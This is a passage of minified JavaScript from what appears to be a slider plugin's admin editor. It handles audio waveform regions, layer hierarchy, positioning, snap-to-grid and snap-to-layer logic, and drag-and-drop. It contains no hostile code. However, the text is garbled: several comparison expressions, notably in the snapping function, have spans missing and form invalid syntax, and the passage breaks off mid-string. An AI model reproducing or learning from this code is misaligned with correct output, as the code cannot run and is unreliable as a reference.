t=RVS.F.convertTimeToSec(RVS.L[RVS.selLayers[0]].media.startAt,0),i=RVS.F.convertTimeToSec(RVS.L[RVS.selLayers[0]].media.endAt,window.audiomaster.getDuration());i=0===i||i<=t?window.audiomaster.getDuration():i,window.audiomaster.regions.destroy(),window.audioregion=window.audiomaster.regions.add({start:t,end:i,color:"rgba(0,109,210,0.2)"}),window.audioregion.on("update",function(){RVS.L[RVS.selLayers[0]].media.startAt=window.audioregion.start,RVS.L[RVS.selLayers[0]].media.endAt=window.audioregion.end,document.getElementById("layer_video_start").value=RVS.L[RVS.selLayers[0]].media.startAt,document.getElementById("layer_video_end").value=RVS.L[RVS.selLayers[0]].media.endAt}),window.audioregion.on("dblclick",function(){window.audioregion.play()})}},RVS.F.checkForAudioLayer=function(){1==RVS.selLayers.length&&"audio"===RVS.L[RVS.selLayers[0]].type&&""!==RVS.L[RVS.selLayers[0]].media.audioUrl&&"FAIL"!==window.audiomaster&&(void 0===window.audiomaster?(RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.audiolibraryloading}),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/wavesurfer.js",function(){window.audiomaster=WaveSurfer.create({container:"#media_audio_master",cursorColor:"#5e35b1",progressColor:"transparent",height:30,plugins:[WaveSurfer.regions.create({})]}),RVS.DOC.on("listenAudioMaster",function(){window.audiomaster.play()}),RVS.DOC.on("muteAudioMaster",function(){window.audiomaster.pause()}),RVS.DOC.on("updateaudiorange",function(){RVS.F.updateAudioTimes(window.audiomaster.getDuration())}),RVS.F.checkForAudioLayer(),setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100)}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.audiomaster="FAIL"})):(window.audiomaster.on("ready",function(){RVS.F.updateAudioTimes(window.audiomaster.getDuration()),jQuery("#audio_simulator").removeClass("disabled")}),window.audiomaster.on("loading",function(){jQuery("#audio_simulator").addClass("disabled")}),window.audiomaster.on("finish",function(){RVS.F.changeSwitchState({el:jQuery("#audio_simulator")[0],state:"play"})}),window.audiomaster.load(RVS.L[RVS.selLayers[0]].media.audioUrl)))},RVS.F.updateSelectedLayersIdleHover=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&void 0!==RVS.H[e]&&("idle"===RVS.eMode.mode&&void 0!==RVS.H[e].hover?RVS.H[e].hover.seek(0).pause():"hover"!==RVS.eMode.mode||!0!==RVS.L[e].hover.usehover&&"true"!==RVS.L[e].hover.usehover&&"desktop"!==RVS.L[e].hover.usehover||void 0===RVS.H[e].hover||(jQuery.inArray(parseInt(e,0),RVS.selLayers)>=0?RVS.H[e].hover.seek(9999).pause():(RVS.F.drawHTMLLayer({uid:e}),RVS.H[e].hover.seek(0).pause())))},RVS.F.checkCurrentLayerHoverMode=function(e){"hover"!==RVS.eMode.mode||"true"!=RVS.L[e.layerid].hover.usehover&&1!=RVS.L[e.layerid].hover.usehover&&"desktop"!=RVS.L[e.layerid].hover.usehover||void 0===RVS.H[e.layerid].hover||RVS.H[e.layerid].hover.seek(9999).pause()},RVS.F.getRowStructures=function(e){if("row"===RVS.L[e.layerid].type){var t=RVS.F.getColumnsInRow({layerid:e.layerid}),i="",a=0;for(var r in t)t.hasOwnProperty(r)&&(i=0===a?"":i+"+",i+=RVS.L[t[r]].group.columnSize,a++);return i}},RVS.F.updateRowColumnField=function(){var e="",t=!1;for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i],r="";"row"===RVS.L[a].type?r=RVS.F.getRowStructures({layerid:a}):"column"===RVS.L[a].type&&(r=RVS.F.getRowStructures({layerid:RVS.L[RVS.L[a].group.puid].uid})),"row"!==RVS.L[a].type&&"column"!==RVS.L[a].type||t||(""===e||e===r?e=r:(t=!0,e=""))}jQuery("#row_column_structure").val(RVS.F.sanitize_columns(e)).trigger("change")},RVS.F.getPrevNextLayerInOrder=function(e,t){if(void 0!==RVS.L[e]&&void 0!==RVS.L[e].group&&void 0!==RVS.L[e].group.puid){var i={order:"next"===t?99999:-2,id:e};for(var a in RVS.L)RVS.L.hasOwnProperty(a)&&RVS.L[a].group&&RVS.L[a].group.puid==RVS.L[e].group.puid&&("next"===t&&RVS.L[a].group.groupOrder>RVS.L[e].group.groupOrder&&RVS.L[a].group.groupOrderi.order)&&(i.order=RVS.L[a].group.groupOrder,i.id=RVS.L[a].uid);return i.id}},RVS.F.getLayerDepth=function(e){return e.depth=null==e.depth?0:e.depth,null==RVS.L[e.layer]?e.depth:-1!=RVS.L[e.layer].group.puid?(e.depth++,e.layer=RVS.L[e.layer].group.puid,RVS.F.getLayerDepth(e)):e.depth},RVS.F.getLayerHierArchy=function(e,t){return null==t&&(t=[]),null!=RVS.L[e]&&"row"!==RVS.L[e].type&&""+RVS.L[e].group.puid!="-1"&&(t.push(RVS.L[e].group.puid),t=RVS.F.getLayerHierArchy(RVS.L[e].group.puid,t)),t},RVS.F.isDeeperGroup=function(e){if(null==RVS.L[e]||"group"!==RVS.L[e].type)return!1;var t=!1;for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&!t&&"top"!=i&&"bottom"!=i&&"middle"!=i&&""+RVS.L[i].group.puid==""+e&&(t="group"==RVS.L[i].type);return t},RVS.F.getTopParent=function(e){return e.par=null==e.par?-1:e.par,null==RVS.L[e.layer]?e.par:-1!=RVS.L[e.layer].group.puid?(e.par=RVS.L[e.layer].group.puid,e.layer=RVS.L[e.layer].group.puid,RVS.F.getTopParent(e)):e.par},RVS.F.getColumnsInRow=function(e){var t=[],i=[];if(e.type=void 0===e.type?"column":e.type,"paste"===e.copyPaste)for(var a in window.copyPasteLayers.layers)window.copyPasteLayers.layers.hasOwnProperty(a)&&window.copyPasteLayers.layers[a].type===e.type&&window.copyPasteLayers.layers[a].group.puid==e.layerid&&t.push({order:window.copyPasteLayers.layers[a].group.groupOrder,uid:window.copyPasteLayers.layers[a].uid});else for(var a in RVS.L)RVS.L.hasOwnProperty(a)&&RVS.L[a].type===e.type&&RVS.L[a].group.puid==e.layerid&&t.push({order:RVS.L[a].group.groupOrder,uid:RVS.L[a].uid});for(var a in t.sort(function(e,t){return e.order-t.order}),t)t.hasOwnProperty(a)&&i.push(t[a].uid);return i},RVS.F.getLayersFirstDepth=function(e){var t=[];if("paste"===e.copyPaste)for(var i in window.copyPasteLayers.layers)window.copyPasteLayers.layers.hasOwnProperty(i)&&window.copyPasteLayers.layers[i].group.puid==e.layerid&&t.push(window.copyPasteLayers.layers[i].uid);else for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&RVS.L[i].group.puid==e.layerid&&t.push(RVS.L[i].uid);return t},RVS.F.getLayersAllDepth=function(e){var t=[];for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&RVS.L[i].group.puid==e.layerid)if("column"===RVS.L[i].type){var a=RVS.F.getLayersFirstDepth({layerid:RVS.L[i].uid});for(var r in a)a.hasOwnProperty(r)&&t.push(a[r].uid)}else t.push(RVS.L[i].uid);return t},RVS.F.inSelectedLayers=function(e){var t=!1;for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&RVS.selLayers[i]==e.id&&(t=!0);return t},RVS.F.notOnRoot=function(e){return void 0!==e&&void 0!==e.group&&void 0!==e.group.puid&&e.group.puid>=0&&e.group.puid<=5e3},RVS.F.groupOrColumn=function(e){return null!=e&&("column"===e.type||"group"===e.type)},RVS.F.getFirstSelectedType=function(e){var t=!1;for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(!1===t&&RVS.L[RVS.selLayers[i]].type===e&&(t=RVS.selLayers[i]),!1===t&&RVS.F.notOnRoot(RVS.L[RVS.selLayers[i]])&&RVS.L[RVS.L[RVS.selLayers[i]].group.puid].type===e&&(t=RVS.L[RVS.selLayers[i]].group.puid));return t},RVS.F.updateAllHTMLLayerPositions=function(e){for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&(void 0===RVS.L[t].position.x||null!=e&&"slide"!==RVS.L[t].behavior.baseAlign||RVS.F.updateHTMLLayerPosition({uid:t}))},RVS.F.updateHTMLLayerPosition=function(e){var t=RVS.H[e.uid],i=RVS.L[e.uid];if(void 0!==i&&void 0!==t){var a,r,s={left:0,top:0},o=null==e.o?{x:0,y:0}:e.o,n=i.position.vertical[RVS.screen].v,l=i.position.horizontal[RVS.screen].v;if(a=r={x:parseInt(i.position.x[RVS.screen].v,0),y:+parseInt(i.position.y[RVS.screen].v,0)},s.force3D=!0,"row"===i.type||"column"===i.type||-1!==i.group.puid&&("column"===RVS.L[i.group.puid].type&&"relative"===i.position.position||"group"===RVS.L[i.group.puid].type&&"relative"===i.position.position)){if(null!=t.chPosRel)return;t.chPosRel=!0,!0!==t.fastDomProcess?(t.fastDomProcess=!0,fastdom.measure(function(){"relative"!==t.w[0].style.position&&fastdom.mutate(function(){t.w[0].style.position="relative",t.w[0].style.left="auto",t.w[0].style.right="auto",t.w[0].style.top="auto",t.w[0].style.bottom="auto",t.w[0].classList.add("_lc_i_rel"),t.w[0].classList.remove("_lc_i_abs")})})):requestAnimationFrame(function(){"relative"!==t.w[0].style.position&&tpGS.gsap.set(t.w,{x:0,y:0,position:"relative",left:"auto",right:"auto",top:"auto",bottom:"auto"})})}else{var d=void 0===e.lhCwidth?t.c.outerWidth():e.lhCwidth,S=void 0===e.lhCheight?"group"==i.type?t.w.outerHeight():t.c.outerHeight():e.lhCheight;if(0==d&&0==S&&(void 0===e.firstDimCheckDone||e.firstDimCheckDone<5))return e.firstDimCheckDone=void 0===e.firstDimCheckDone?0:e.firstDimCheckDone,e.firstDimCheckDone++,void requestAnimationFrame(function(){RVS.F.updateHTMLLayerPosition(e)});var c=-1===i.group.puid?{width:RVS.C.layergrid.width(),height:RVS.C.layergrid.height()}:{width:RVS.H[i.group.puid].w.width(),height:RVS.H[i.group.puid].w.height()},p={x:"center"===l?c.width/2-d/2:a.x,y:"middle"===n?c.height/2-S/2:a.y};if(e.snapToGrid&&RVS.S.DaD.sameLevelNotColumn){var u=RVS.F.getSnapPoint(p.x,p.y),R=RVS.F.getSnapPoint(o.x,o.y);a=RVS.F.getSnapPoint(a.x,a.y),"center"!==l&&(p.x=u.x),"middle"!==n&&(p.y=u.y),RVS.S.updatePosToXDif=o.x-R.x-(a.x-r.x),RVS.S.updatePosToYDif=o.y-R.y-(a.y-r.y),o=R}if("fullinset"==i.size.covermode&&"absolute"==i.position.position&&void 0!==RVS.L[i.group.puid]&&"group"==RVS.L[i.group.puid].type&&"100%"==i.size.width[RVS.screen].v?(s.right=i.idle.margin[RVS.screen].v[1]+"px",s.left=i.idle.margin[RVS.screen].v[3]+"px"):"right"!==l?(s.right="auto",s.left=p.x+o.x):(s.left="auto",s.right=p.x-o.x),"fullinset"==i.size.covermode&&"absolute"==i.position.position&&void 0!==RVS.L[i.group.puid]&&"group"==RVS.L[i.group.puid].type&&"100%"==i.size.height[RVS.screen].v?(s.top=i.idle.margin[RVS.screen].v[0]+"px",s.bottom=i.idle.margin[RVS.screen].v[2]+"px"):"bottom"!==n?(s.bottom="auto",s.top=p.y+o.y):(s.top="auto",s.bottom=p.y-o.y),s.x="center"===l?a.x:0,s.y="middle"===n?a.y:0,"slide"===i.behavior.baseAlign&&-1===i.group.puid&&(s.x="right"===l?s.x+RVS.C.layergrid[0].offsetLeft:"left"===l?s.x-RVS.C.layergrid[0].offsetLeft:s.x,s.y="bottom"===n?s.y+RVS.C.layergrid[0].offsetTop:"top"===n?s.y-RVS.C.layergrid[0].offsetTop:s.y),e.updateValues){var V={x:Math.round("right"===l?r.x-o.x:r.x+o.x),y:Math.round("bottom"===n?r.y-o.y:r.y+o.y)};if("column"===RVS.S.DaD.toContainerType&&"absolute"!==RVS.S.DaD.draggedPosType)V.x=0,V.y=0;else if(e.snapToGrid&&RVS.S.DaD.sameLevelNotColumn)V=RVS.F.getSnapPoint(V.x,V.y);else if(e.snapToLayers&&RVS.S.DaD.sameLevelNotColumn){if(-1!==RVS.S.DaD.snapHF.uid){if(e.uid==RVS.S.DaD.currentLayerId){var m=parseInt(RVS.L[RVS.S.DaD.snapHF.uid].position.x[RVS.screen].v,0)+("left"===l?RVS.S.DaD.snapHF.offset:"center"===l?RVS.S.DaD.snapHF.offset-RVS.S.DaD.snapHF.w/2:RVS.S.DaD.snapHF.w-RVS.S.DaD.snapHF.offset);m+=RVS.S.DaD.snapHF.prio>6?"right"===l?0:"left"===l?0-d:0-d/2:RVS.S.DaD.snapHF.prio>3?"right"===l?0-d/2:"left"===l?0-d/2:0:RVS.S.DaD.snapHF.prio<4?"right"===l?0-d:"left"===l?0:d/2:0,RVS.S.DaD.difh=V.x-m,V.x=Math.round(m)}else V.x=V.x-RVS.S.DaD.difh;"right"===l?s.right=s.right-RVS.S.DaD.difh:s.left=s.left-RVS.S.DaD.difh}if(-1!==RVS.S.DaD.snapVF.uid){if(e.uid==RVS.S.DaD.currentLayerId){var y=parseInt(RVS.L[RVS.S.DaD.snapVF.uid].position.y[RVS.screen].v,0)+("top"===n?RVS.S.DaD.snapVF.offset:"middle"===n?RVS.S.DaD.snapVF.offset-RVS.S.DaD.snapVF.h/2:RVS.S.DaD.snapVF.h-RVS.S.DaD.snapVF.offset);y+=RVS.S.DaD.snapVF.prio>6?"bottom"===n?0:"top"===n?0-S:0-S/2:RVS.S.DaD.snapVF.prio>3?"bottom"===n?0-S/2:"top"===n?0-S/2:0:RVS.S.DaD.snapVF.prio<4?"bottom"===n?0-S:"top"===n?0:S/2:0,RVS.S.DaD.difv=V.y-y,V.y=Math.round(y)}else V.y=V.y-RVS.S.DaD.difv;"bottom"===n?s.bottom=s.bottom-RVS.S.DaD.difv:s.top=s.top-RVS.S.DaD.difv}}RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".position.x.#size#.v",val:V.x+"px",uid:e.uid}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".position.y.#size#.v",val:V.y+"px",uid:e.uid}),RVS.S.updatePosToX=V.x,RVS.S.updatePosToY=V.y}else if(e.mouseInfo&&(RVS.S.updatePosToX="column"===RVS.S.DaD.toContainerType&&"absolute"!==RVS.S.DaD.draggedPosType?0:"right"===l?r.x-o.x:r.x+o.x,RVS.S.updatePosToY="column"===RVS.S.DaD.toContainerType&&"absolute"!==RVS.S.DaD.draggedPosType?0:"bottom"===n?r.y-o.y:r.y+o.y,e.snapToGrid&&RVS.S.DaD.sameLevelNotColumn)){var g=RVS.F.getSnapPoint(RVS.S.updatePosToX,RVS.S.updatePosToY);RVS.S.updatePosToX=g.x,RVS.S.updatePosToY=g.y}s.position="absolute",t.w[0].classList.add("_lc_i_abs"),t.w[0].classList.remove("_lc_i_rel"),t.chPosRel=void 0,requestAnimationFrame(function(){tpGS.gsap.set(t.w,s)})}}},RVS.F.resetDragStates=function(){for(var e in RVS.S.DaD.showInMini=!1,RVS.H)RVS.H.hasOwnProperty(e)&&d(e)},RVS.F.moveLayerByKeys=function(e){if(window.moveByKeyboard||(RVS.F.openBackupGroup({id:"LayerPosition",txt:"Layer Position",icon:"open_with"}),window.moveByKeyboard=!0),RVS.S.DaD.difh=0,RVS.S.DaD.difv=0,1===RVS.selLayers.length&&-1!==RVS.L[RVS.selLayers[0]].group.puid&&"column"===RVS.L[RVS.L[RVS.selLayers[0]].group.puid].type){if(-1==e.x||-1==e.y)(t=RVS.F.getPrevNextLayerInOrder(RVS.selLayers[0],"prev"))!==RVS.selLayers[0]&&RVS.F.sortLayer({layer:RVS.selLayers[0],target:"before",env:t,redraw:!0});else if(1===e.x||1===e.y){var t;(t=RVS.F.getPrevNextLayerInOrder(RVS.selLayers[0],"next"))!==RVS.selLayers[0]&&RVS.F.sortLayer({layer:RVS.selLayers[0],target:"after",env:t,redraw:!0})}}else for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];RVS.F.updateHTMLLayerPosition({uid:a,o:e,updateValues:!0,lhCwidth:RVS.H[a].c.outerWidth(),lhCheight:RVS.H[a].c.outerHeight()}),document.getElementById("layer_pos_x").value=RVS.L[a].position.x[RVS.screen].v,document.getElementById("layer_pos_y").value=RVS.L[a].position.y[RVS.screen].v}},RVS.F.collectAllSameAlignedLayers=function(e){for(var t in RVS.S.DaD.snapH={},RVS.S.DaD.snapV={},RVS.L)RVS.L[t].hasOwnProperty&&RVS.L[t].group.puid===RVS.S.DaD.fromContainerID&&void 0!==RVS.L[t].hover&&e!=RVS.L[t].uid&&(RVS.L[t].position.horizontal[RVS.screen].v===RVS.L[e].position.horizontal[RVS.screen].v&&(RVS.S.DaD.snapH[RVS.L[t].uid]={ox:parseInt(RVS.L[t].position.x[RVS.screen].v,0),x:RVS.H[t].w[0].offsetLeft,w:RVS.H[t].w[0].offsetWidth},RVS.S.DaD.snapH[RVS.L[t].uid].x="center"===RVS.L[e].position.horizontal[RVS.screen].v?RVS.S.DaD.snapH[RVS.L[t].uid].ox+RVS.S.lgw/2-RVS.S.DaD.snapH[RVS.L[t].uid].w/2:RVS.S.DaD.snapH[RVS.L[t].uid].x,RVS.S.DaD.snapH[RVS.L[t].uid].xc=RVS.S.DaD.snapH[RVS.L[t].uid].x+RVS.S.DaD.snapH[RVS.L[t].uid].w/2,RVS.S.DaD.snapH[RVS.L[t].uid].xr=RVS.S.DaD.snapH[RVS.L[t].uid].x+RVS.S.DaD.snapH[RVS.L[t].uid].w),RVS.L[t].position.vertical[RVS.screen].v===RVS.L[e].position.vertical[RVS.screen].v&&(RVS.S.DaD.snapV[RVS.L[t].uid]={oy:parseInt(RVS.L[t].position.y[RVS.screen].v,0),y:RVS.H[t].w[0].offsetTop,h:RVS.H[t].w[0].offsetHeight},RVS.S.DaD.snapV[RVS.L[t].uid].y="middle"===RVS.L[e].position.vertical[RVS.screen].v?RVS.S.DaD.snapV[RVS.L[t].uid].oy+RVS.S.lgh/2-RVS.S.DaD.snapV[RVS.L[t].uid].h/2:RVS.S.DaD.snapV[RVS.L[t].uid].y,RVS.S.DaD.snapV[RVS.L[t].uid].ym=RVS.S.DaD.snapV[RVS.L[t].uid].y+RVS.S.DaD.snapV[RVS.L[t].uid].h/2,RVS.S.DaD.snapV[RVS.L[t].uid].yb=RVS.S.DaD.snapV[RVS.L[t].uid].y+RVS.S.DaD.snapV[RVS.L[t].uid].h))},RVS.F.closeToOtherLayers=function(e,t){RVS.S.DaD.snapHF={offset:1e4,d:2e4,uid:-1,prio:50},RVS.S.DaD.snapVF={offset:1e4,d:2e4,uid:-1,prio:50},t.m=t.x+t.w/2,t.e=t.x+t.w;var i=RVS.SLIDER.settings.snap.gap;for(var a in RVS.S.DaD.snapH){if(!RVS.S.DaD.snapH[a].hasOwnProperty)continue;let e=RVS.S.DaD.snapH[a],r=Math.abs(t.x-e.x+RVS.S.DaD.scrolldiff.x),s=Math.abs(t.x-e.xc+RVS.S.DaD.scrolldiff.x),o=Math.abs(t.x-e.xr+RVS.S.DaD.scrolldiff.x),n=Math.abs(t.x-(e.x-i)+RVS.S.DaD.scrolldiff.x),l=Math.abs(t.x-(e.xr+i)+RVS.S.DaD.scrolldiff.x),d=Math.abs(t.m-e.x+RVS.S.DaD.scrolldiff.x),S=Math.abs(t.m-e.xc+RVS.S.DaD.scrolldiff.x),c=Math.abs(t.m-e.xr+RVS.S.DaD.scrolldiff.x),p=Math.abs(t.e-e.x+RVS.S.DaD.scrolldiff.x),u=Math.abs(t.e-e.xc+RVS.S.DaD.scrolldiff.x),R=Math.abs(t.e-e.xr+RVS.S.DaD.scrolldiff.x);grl=Math.abs(t.e-(e.x-i)+RVS.S.DaD.scrolldiff.x),gre=Math.abs(t.e-(e.xr+i)+RVS.S.DaD.scrolldiff.x),r<10&&r5&&n<10&&n=2&&s<=10&&RVS.S.DaD.snapHF.offset>e.w/2?RVS.S.DaD.snapHF={offset:e.w/2,uid:a,prio:2,d:s,w:e.w}:RVS.S.DaD.snapHF.prio>=3&&o<=10&&RVS.S.DaD.snapHF.offset>e.w?RVS.S.DaD.snapHF={offset:e.w,uid:a,prio:3,d:o,w:e.w}:i>5&&RVS.S.DaD.snapHF.prio>=3&&l<10&&RVS.S.DaD.snapHF.offset>e.w?RVS.S.DaD.snapHF={offset:e.w+i,uid:a,prio:3,d:o,w:e.w,gap:1}:RVS.S.DaD.snapHF.prio>=4&&d<=10&&d=5&&S<=10&&S=6&&c<=10&&c=7&&p<=10&&p5&&RVS.S.DaD.snapHF.prio>=7&&grl=8&&u<=10&&u=9&&R<=10&&R5&&RVS.S.DaD.snapHF.prio>=9&&gre5&&n<10&&r=2&&s<10&&RVS.S.DaD.snapVF.offset>e.h/2?RVS.S.DaD.snapVF={offset:e.h/2,uid:a,prio:2,d:s,h:e.h}:RVS.S.DaD.snapVF.prio>=3&&o<10&&RVS.S.DaD.snapVF.offset>e.h?RVS.S.DaD.snapVF={offset:e.h,uid:a,prio:3,d:o,h:e.h}:i>5&&RVS.S.DaD.snapVF.prio>=3&&l<10&&RVS.S.DaD.snapVF.offset>e.h?RVS.S.DaD.snapVF={offset:e.h+i,uid:a,prio:3,d:o,h:e.h,gap:1}:RVS.S.DaD.snapVF.prio>=4&&d<10&&d=5&&S<10&&S=6&&c<10&&c=7&&p<10&&p5&&RVS.S.DaD.snapVF.prio>=7&&V<10&&p=8&&u<10&&u=9&&R<10&&R5&&RVS.S.DaD.snapVF.prio>=9&&m<10&&R=0,RVS.S.DaD.wpercent&&(RVS.S.DaD.parentID=parseInt(RVS.L[e.uid].group.puid,0),RVS.S.DaD.parentID=RVS.S.DaD.parentID>=0?RVS.S.DaD.parentID:-1,RVS.S.DaD.parentWidth=RVS.S.DaD.parentID>=0?RVS.H[RVS.S.DaD.parentID].w[0].offsetWidth:0),"relative"===RVS.L[RVS.S.DaD.currentLayerId].position.position?RVS.C.slide[0].classList.add("rel_layer_in_drag"):RVS.C.slide[0].classList.add("abs_layer_in_drag"),RVS.S.DaD.draggedPosType=t.w[0].style.position,RVS.S.click.y=i.clientY,RVS.S.click.x=i.clientX,RVS.S.DaD.startPos="0",RVS.S.DaD.fromContainerID=RVS.L[e.uid].group.puid,RVS.S.DaD.lastRegisteredRow=-1===RVS.S.DaD.fromContainerID?-1:"group"===RVS.L[RVS.S.DaD.fromContainerID].type?"group":RVS.L[RVS.S.DaD.fromContainerID].group.puid,RVS.S.DaD.lastRegisteredRowBefore=RVS.S.DaD.lastRegisteredRow,window.scrollMem={y:RVS.S.rb_ScrollY,x:RVS.S.rb_ScrollX},RVS.S.DaD.fromContainerRowColumn=-1!==RVS.S.DaD.fromContainerID,RVS.S.DaD.uiHelper=a.helper,RVS.S.DaD.clone=RVS.S.DaD.fromContainerRowColumn?a.helper:t.w,RVS.S.DaD.dragItemOffset=t.w.offset(),RVS.S.DaD.fromContainerType=RVS.S.DaD.fromContainerID>=0&&RVS.S.DaD.fromContainerID<=5e3?RVS.L[RVS.L[e.uid].group.puid].type:"root",RVS.S.DaD.scrolldiff={x:RVS.S.rb_ScrollX-window.scrollMem.x,y:RVS.S.rb_ScrollY-window.scrollMem.y},RVS.ENV.tlGridWrap[0].classList.remove("selected"),!0!==RVS.animationMode){for(var r in RVS.S.WWL=RVS.L[e.uid],RVS.S.lpv=RVS.S.WWL.position.vertical[RVS.screen].v,RVS.S.lph=RVS.S.WWL.position.horizontal[RVS.screen].v,RVS.C.layer_pos_x=void 0===RVS.C.layer_pos_x?document.getElementById("layer_pos_x"):RVS.C.layer_pos_x,RVS.C.layer_pos_y=void 0===RVS.C.layer_pos_y?document.getElementById("layer_pos_y"):RVS.C.layer_pos_y,"layers"===RVS.SLIDER.settings.snap.adjust&&RVS.F.collectAllSameAlignedLayers(e.uid),RVS.S.DaD.snapToGrid="grid"===RVS.SLIDER.settings.snap.adjust,RVS.S.DaD.snapToLayers="layers"===RVS.SLIDER.settings.snap.adjust,RVS.H)RVS.H.hasOwnProperty(r)&&"group"===RVS.L[r].type&&(RVS.H[r].w_offset=RVS.H[r].w.offset());for(var s in RVS.F.selectLayers({id:e.uid,overwrite:!0,action:"add",quickmode:!0}),RVS.S.DaD.CoveredDims="slide"===RVS.L[e.uid].behavior.baseAlign?RVS.F.updateCoveredLayer(e.uid):void 0,RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s)){r=RVS.selLayers[s];RVS.H[r].c_width=RVS.H[r].c.outerWidth(),RVS.H[r].c_height=RVS.H[r].c.outerHeight(),RVS.H[r].w_offsetcache={horizontal:RVS.S.DaD.dragItemOffset.left-RVS.H[r].w.offset().left,vertical:RVS.S.DaD.dragItemOffset.top-RVS.H[r].w.offset().top}}RVS.S.DaD.originalWidth=t.w.width()+1,RVS.S.DaD.originalHeight=t.w.height()+1,a.helper.css({zIndex:1e5,width:RVS.S.DaD.originalWidth}),tpGS.gsap.set(t.w,{opacity:0}),RVS.C.layergrid.addClass("layersInDragorResize")}else{if(void 0!==RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame]&&""+RVS.S.DaD.currentLayerId==""+RVS.selLayers[0]||(RVS.F.selectLayers({id:RVS.S.DaD.currentLayerId,overwrite:!0,action:"add",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!1,ignoreModeChange:!0}),void 0===RVS.S.keyFrame&&(RVS.F.setKeyframeSelected("frame_1"),RVS.S.keyFrame="frame_1")),RVS.S.DaD.layerFrameX=document.getElementById("le_frame_x"),RVS.S.DaD.layerFrameY=document.getElementById("le_frame_y"),RVS.S.DaD.frameOXH=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.x[RVS.screen].v,RVS.S.DaD.frameOYH=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.y[RVS.screen].v,"inherit"===RVS.S.DaD.frameOXH||"inherit"===RVS.S.DaD.frameOYH){var o=RVS.F.getPrevNextFrame({layerid:RVS.selLayers[0],frame:RVS.S.keyFrame});RVS.S.DaD.frameOXH="inherit"===RVS.S.DaD.frameOXH?RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[o.prev.frameid].transform.x[RVS.screen].v:RVS.S.DaD.frameOXH,RVS.S.DaD.frameOYH="inherit"===RVS.S.DaD.frameOYH?RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[o.prev.frameid].transform.y[RVS.screen].v:RVS.S.DaD.frameOYH,RVS.S.DaD.frameOXH="inherit"===RVS.S.DaD.frameOXH?0:RVS.S.DaD.frameOXH,RVS.S.DaD.frameOYH="inherit"===RVS.S.DaD.frameOYH?0:RVS.S.DaD.frameOYH}RVS.S.DaD.frameOX=parseInt(RVS.S.DaD.frameOXH,0),RVS.S.DaD.frameOY=parseInt(RVS.S.DaD.frameOYH,0),RVS.S.DaD.frameOX_N=RVS.F.isNumeric(RVS.S.DaD.frameOX)&&((""+RVS.S.DaD.frameOXH).indexOf("px")>=0||"0"==RVS.S.DaD.frameOXH),RVS.S.DaD.frameOY_N=RVS.F.isNumeric(RVS.S.DaD.frameOY)&&((""+RVS.S.DaD.frameOYH).indexOf("px")>=0||"0"==RVS.S.DaD.frameOYH),tpGS.gsap.set(t.w,{opacity:1}),a.helper.css({opacity:0})}tpGS.gsap.set(a.helper.find("._lc_content_")[0],{whiteSpace:RVS.L[RVS.selLayers[0]].idle.whiteSpace[RVS.screen]})}else RVS.F.showInfo({content:RVS_LANG.notduringinsetmode,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})},drag:function(t,i){if("fullinset"!=RVS.L[e.uid].size.covermode)if(RVS.S.DaD.scrolldiff={x:RVS.S.rb_ScrollX-window.scrollMem.x,y:RVS.S.rb_ScrollY-window.scrollMem.y},RVS.S.DaD.dragdelta.x=Math.round((t.clientX-RVS.S.click.x+RVS.S.DaD.scrolldiff.x)/RVS.zoom),RVS.S.DaD.dragdelta.y=Math.round((t.clientY-RVS.S.click.y+RVS.S.DaD.scrolldiff.y)/RVS.zoom),!0===RVS.animationMode)RVS.S.DaD.frameOX_N&&(RVS.S.DaD.layerFrameX.value=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.x[RVS.screen].v=RVS.S.DaD.frameOX+RVS.S.DaD.dragdelta.x+"px"),RVS.S.DaD.frameOY_N&&(RVS.S.DaD.layerFrameY.value=RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.y[RVS.screen].v=RVS.S.DaD.frameOY+RVS.S.DaD.dragdelta.y+"px"),RVS.F.renderLayerAnimation({layerid:RVS.S.DaD.currentLayerId,quickRendering:!1,timeline:"full",caller:"drawHTMLLayer"}),requestAnimationFrame(function(){RVS.F.showMouseInfo({classes:"purplemouseinfo",html:"
    "+RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].alias+"
    X"+RVS.S.DaD.layerFrameX.value+"
    Y"+RVS.S.DaD.layerFrameY.value+"
